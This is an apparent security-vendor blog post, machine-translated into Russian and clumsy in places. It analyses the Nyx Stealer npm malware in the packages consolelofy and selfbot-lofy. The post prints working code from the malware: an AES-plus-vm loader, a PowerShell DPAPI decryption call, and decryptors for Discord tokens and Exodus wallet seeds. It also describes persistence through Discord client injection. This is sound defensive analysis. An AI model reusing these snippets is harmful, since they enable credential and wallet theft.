TL, д-р
Исследовательская группа Xygeni Security Выявлена изощренная кампания по краже информации из npm, осуществляемая с помощью двух вредоносных пакетов: consolelofy и selfbot-lofy.
Последняя версия (consolelofy@1.3.0) Встраивает зашифрованный с помощью AES файл размером 216 КБ, который расшифровывается во время выполнения и выполняется через vm.runInNewContext()Поскольку вредоносная логика полностью зашифрована, статические сканеры, использующие анализ строк, не могут наблюдать за её поведением до момента выполнения.
После расшифровки полезная нагрузка, имеющая внутреннюю маркировку, Похититель Никса, цели:
- токены аутентификации Discord
- Более 50 хранилищ учетных данных браузера
- Более 90 расширений для криптовалютных кошельков
- Сессии в Roblox, Instagram, Spotify, Steam, Telegram и TikTok
- сохранение состояния клиента Discord на рабочем столе
Все 20 версий в обоих пакетах были признаны вредоносными и подтверждены как таковые.
Технический обзор этого npm-похитителя информации
В отличие от традиционных вредоносных программ, устанавливаемых во время работы системы, эта кампания основана на время выполнения модель дешифрования.
Есть:
- Нет злонамеренных действий
preinstallorpostinstallhooks - Нет очевидных сетевых вызовов во время установки.
- Отсутствует логика сбора учетных данных в открытом текстовом виде.
Вредоносная программа активируется при импорте модуля. Весь вредоносный код зашифрован и появляется в памяти только во время выполнения.
Данная конструкция специально разработана таким образом, чтобы избежать обнаружения во время установки пакета.
Как на самом деле работает этот npm Infostealer
Прежде чем анализировать, что именно крадет Никс Похититель, нам необходимо понять как это выполняется.
Вредоносная логика этого npm-похитителя информации следует последовательной схеме:
Небольшой загрузчик расшифровывает большой зашифрованный файл и динамически выполняет его в контексте виртуальной машины Node.js.
Этот дизайн продуман. Злоумышленник скрывает функциональность не только за обфускацией, он делает следующее: полное удаление вредоносного кода из статической видимости.
Модель выполнения высокого уровня
В общих чертах, оболочка выполняет четыре функции:
- Генерирует ключ AES из жестко закодированной парольной фразы с использованием алгоритма SHA-256.
- Расшифровывает большой зашифрованный текст в шестнадцатеричном формате с использованием AES-256-CBC.
- Выполняет расшифрованный JavaScript, используя
vm.runInNewContext() - Предоставляет изолированную среду, которая, тем не менее, обеспечивает доступ к мощным примитивам среды выполнения.
Краткое описание основной техники
| Компонент | Конфигурация / Значение |
|---|---|
| Алгоритм | AES-256-CBC |
| Ключевые выводы | SHA-256 (кодовая фраза) |
| Вектор инициализации (IV) | 16 байтов 0x00 |
| Типы | vm.runInNewContext(decrypted, sandbox) |
Важно отметить, что песочница проходит через:
requireprocessBuffer- таймеры
- экспорт модулей
Это означает, что расшифрованная полезная нагрузка сохраняет все возможности для:
- Порождение процессов
- Чтение и запись файлов
- Совершайте сетевые звонки
- Модифицировать локальные приложения
Это не виртуальная машина с ограничениями. Это виртуальная машина, используемая в качестве площадки для отладки и выполнения.
Шаблон шифрования во время выполнения (основной механизм выполнения)
Погрузчик небольшой.
Злонамеренное тело таковым не является.
Ниже представлен шаблон выполнения, обнаруженный внутри пакета:
const crypto = require('crypto');
const vm = require('vm');
function decryptAndExecute(encryptedHex, passphrase) {
const key = crypto.createHash('sha256')
.update(passphrase)
.digest();
const iv = Buffer.alloc(16, 0);
const decipher = crypto.createDecipheriv('aes-256-cbc', key, iv);
let decrypted = decipher.update(encryptedHex, 'hex', 'utf8');
decrypted += decipher.final('utf8');
const sandbox = {
require,
module,
exports,
console,
process,
Buffer,
__dirname,
__filename,
setTimeout,
setInterval,
clearTimeout,
clearInterval
};
vm.runInNewContext(decrypted, sandbox);
}
Почему это важно
Расшифрованная полезная нагрузка:
- Есть ли не существуют в открытом виде внутри пакета npm.
- Невидим для простых
grepили сканирование статических строк - Материализуется в памяти только во время выполнения.
- Выполняется с использованием всех возможностей среды выполнения Node.
Такое сочетание выполнения AES + VM является сильным индикатором поведения npm infostealer пытается обойти статическую проверку.
Другими словами:
Если просканировать дерево исходного кода пакета, то похитителя пакетов не будет.
Вы видите дешифратор.
Что происходит после расшифровки?
После выполнения Nyx Stealer запускает параллельные волны сбора данных.
Первая волна: Извлечение учетных данных браузера
Вредоносное ПО:
- Загружает среду выполнения Python из CDN NuGet.
- Устанавливает криптографические библиотеки.
- Извлекает хранилища учетных данных на основе Chromium.
- Расшифровывает секреты, защищенные DPAPI.
Вместо компиляции собственных привязок, он использует PowerShell для прямого вызова Windows DPAPI.
function dpapiUnprotectWithPowerShell(dataBuf) {
const b64 = dataBuf.toString('base64');
const ps =
"Add-Type -AssemblyName System.Security;" +
"$b=[Convert]::FromBase64String('" + b64 + "');" +
"$p=[System.Security.Cryptography.ProtectedData]::Unprotect(" +
"$b,$null,[System.Security.Cryptography.DataProtectionScope]::CurrentUser);" +
"[Console]::Out.Write([Convert]::ToBase64String($p))";
const cmd =
`powershell -NoProfile -ExecutionPolicy Bypass -Command "${ps}"`;
return Buffer.from(execSync(cmd, { encoding: 'utf8' }).trim(), 'base64');
}
Этот подход:
- Позволяет избежать артефактов компиляции.
- Использует собственные криптографические API Windows.
- Интегрируется в административные инструменты.
Это расшифровка учетных данных на уровне операционной системы, а не сбор данных.
Вторая волна: Расшифровка токенов Discord
Злоумышленник знает протокол. Он понимает зашифрованный формат токенов Discord.
function decryptToken(encryptedToken, key) {
const tokenParts = encryptedToken.split('dQw4w9WgXcQ:');
const encryptedData = Buffer.from(tokenParts[1], 'base64');
const iv = encryptedData.slice(3, 15);
const ciphertext = encryptedData.slice(15, -16);
const tag = encryptedData.slice(-16);
const decipher = crypto.createDecipheriv('aes-256-gcm', key, iv);
decipher.setAuthTag(tag);
return decipher.update(ciphertext).toString('utf8');
}
Операционный поток:
- Извлеките мастер-ключ из Discord.
Local State - Расшифровка главного ключа через DPAPI
- Расшифровка токенов AES-GCM (блобов)
- Проверка токенов по API Discord
- Дополните контент информацией о Nitro, значками и платежными данными.
Это не простое извлечение учетных данных. Это перехват сессии с учетом протокола.
Третья волна: Целевое воздействие на криптовалютные кошельки
Программа npm infostealer перечисляет:
- Более 90 расширений для браузерных кошельков
- 27 настольных кошельков
- Пути холодного кошелька
- Файлы сид-файлов Exodus
Пример попытки расшифровки начального значения:
function decryptSeco(content, password) {
const key = crypto.pbkdf2Sync(password, 'exodus', 10000, 32, 'sha512');
const decipher = crypto.createDecipheriv(
'aes-256-gcm',
key,
content.slice(0, 12)
);
decipher.setAuthTag(content.slice(-16));
return Buffer.concat([
decipher.update(content.slice(12, -16)),
decipher.final()
]).toString('utf8');
}
В случае успеха, компрометация кошелька происходит немедленно и необратимо.
Это представляет собой наиболее эффективный способ монетизации кампании.
Сохранение доступа через внедрение Discord в рабочий стол
После сбора учетных данных Nyx Stealer пытается обеспечить свою устойчивость, изменяя локальные данные. Discord клиент.
Цель:
%LOCALAPPDATA%\Discord*\app-*\modules\discord_desktop_core\index.js
Операционная последовательность
Программа-похититель информации выполняет следующие действия:
- Завершает запущенные процессы Discord.
- Находит установленные версии Discord (Stable, Canary, PTB).
- перезаписывает
discord_desktop_core/index.js - Внедряет логику веб-перехватчика, контролируемую злоумышленником.
- Перезапуск Discord
Это гарантирует, что в будущих сессиях Discord новые токены аутентификации будут автоматически передаваться.
Важно отметить, что этот механизм обеспечения постоянного присутствия не зависит от запланированных задач или изменений в реестре. Он использует модификацию кода на уровне приложения, что является более скрытным подходом.
Даже если вредоносный npm-пакет будет впоследствии удален, клиент Discord останется скомпрометирован.
Техническое сравнение: Legitimate Selfbot против npm Infostealer
| Компонент | Законная библиотека | Nyx npm Infostealer |
|---|---|---|
| Шифрование | Ничто | Полный набор данных, зашифрованных с помощью AES. |
| Виртуальная машина среды выполнения | Не требуется | vm.runInNewContext казнь |
| Доступ к учетным данным | Только API Discord | Браузер, кошельки, DPAPI |
| Внешние загрузки | Нет | Среда выполнения Python через NuGet |
| Настойчивость | Нет | Внедрение клиента Discord |
| монетизация | Автоматизация ботов | Перепродажа учетных данных |
Уже один только слой шифрования отличает эту кампанию от типичного форка с открытым исходным кодом.
У легитимного Discord-бота нет причин шифровать весь свой код, запускать PowerShell для доступа к DPAPI, загружать внешние среды выполнения или изменять внутренние компоненты настольного приложения. Когда же эти возможности появляются внутри зависимости, которая, как утверждается, автоматизирует взаимодействие в Discord, архитектурное несоответствие становится невозможно игнорировать.
С точки зрения расследования, этот npm-вор оставляет следы на нескольких уровнях. Однако наиболее надежными индикаторами являются не жестко закодированные URL-адреса или конкретные пути к файлам, поскольку они могут меняться между версиями. Вместо этого, устойчивые сигналы носят структурный характер.
На уровне пакета наиболее серьезным тревожным сигналом является сочетание большого объема зашифрованного содержимого и оболочки для расшифровки во время выполнения, которая немедленно запускается через vm.runInNewContext()Хотя само по себе шифрование не является вредоносным, использование AES-дешифрования с последующим динамическим запуском виртуальной машины внутри утилиты Discord является крайне аномальным.
На уровне хоста подозрительные закономерности включают неожиданную активность расшифровки DPAPI, запуск процессов из контекста зависимостей Node.js и изменение локальных файлов приложения, которые никогда не должны изменяться сторонними библиотеками. Аналогично, на сетевом уровне исходящая связь в стиле веб-хука, инициированная зависимостью разработки, представляет собой еще одну значимую аномалию.
Иными словами, поверхность обнаружения — это не единственный индикатор компрометации. Угрозу выявляет корреляция между шифрованием, выполнением во время работы программы, доступом к учетным данным и поведением, обеспечивающим сохранение активности.
Обнаружение и устранение угроз с помощью Xygeni
Этот злоумышленник, похищающий информацию из npm, был обнаружен с помощью Система раннего оповещения о вредоносном ПО (MEW) от Xygeni посредством многоуровневой корреляции поведения, а не простого сопоставления сигнатур.
Вместо поиска известных вредоносных строк, MEW оценивает структурные аномалии по всему исходному коду. В данном случае обнаружение произошло благодаря совпадению нескольких сигналов: встроенной процедуры дешифрования AES в точке входа модуля, немедленного выполнения в контексте виртуальной машины и явного несоответствия возможностей и намерений.
Важно отметить, что ни один из этих сигналов сам по себе не доказывает злонамеренных намерений. Однако при совместном анализе они выявляют попытку скрыть поведение во время выполнения программы. Такой многоуровневый подход значительно снижает количество ложных срабатываний, одновременно выявляя угрозы цепочке поставок с высокой степенью достоверности.
Кроме того, этот случай иллюстрирует, почему одной лишь проверки во время установки недостаточно. Вредоносная логика не сосредоточена в скриптах жизненного цикла. Она активируется только после загрузки модуля и становится видимой только после расшифровки в памяти. Поэтому эффективная защита требует анализа с учетом шифрования, распознавания поведенческих шаблонов и непрерывного мониторинга зависимостей, выходящего за рамки событий установки.
Удаление из реестра — это реактивный процесс. Анализ с учетом среды выполнения — это превентивный процесс.
Почему этот информационный воришка из npm важен
Nyx Stealer представляет собой структурную эволюцию вредоносного ПО на основе npm.
Исторически сложилось так, что многие вредоносные программы полагались на видимые скрипты, запускаемые во время установки, или очевидные точки доступа для кражи учетных данных. В отличие от них, эта кампания шифрует свою полезную нагрузку, откладывает выполнение до момента запуска, использует легитимные API операционной системы и обеспечивает постоянное присутствие в доверенных приложениях.
Следовательно, злоумышленнику не нужно использовать уязвимости самой инфраструктуры npm. Вместо этого атака оказывается успешной, поскольку установка зависимостей подразумевает доверие. Разработчики предполагают, что импорт библиотеки — безопасная операция, особенно когда она представляется правдоподобной форкой популярного инструмента.
По мере роста экосистем и распространения форков, эта неявная граница доверия становится все более привлекательной поверхностью для атак. Поэтому защита от современных злоумышленников, похищающих информацию из npm, требует распознавания архитектурных шаблонов, а не поиска статических строк.
В конечном итоге, эта кампания закрепляет важный урок. software supply chain securityНаиболее опасными угрозами являются не те, которые на первый взгляд кажутся вредоносными, а те, которые структурно выглядят законными, пока во время выполнения не прояснится их истинное поведение.





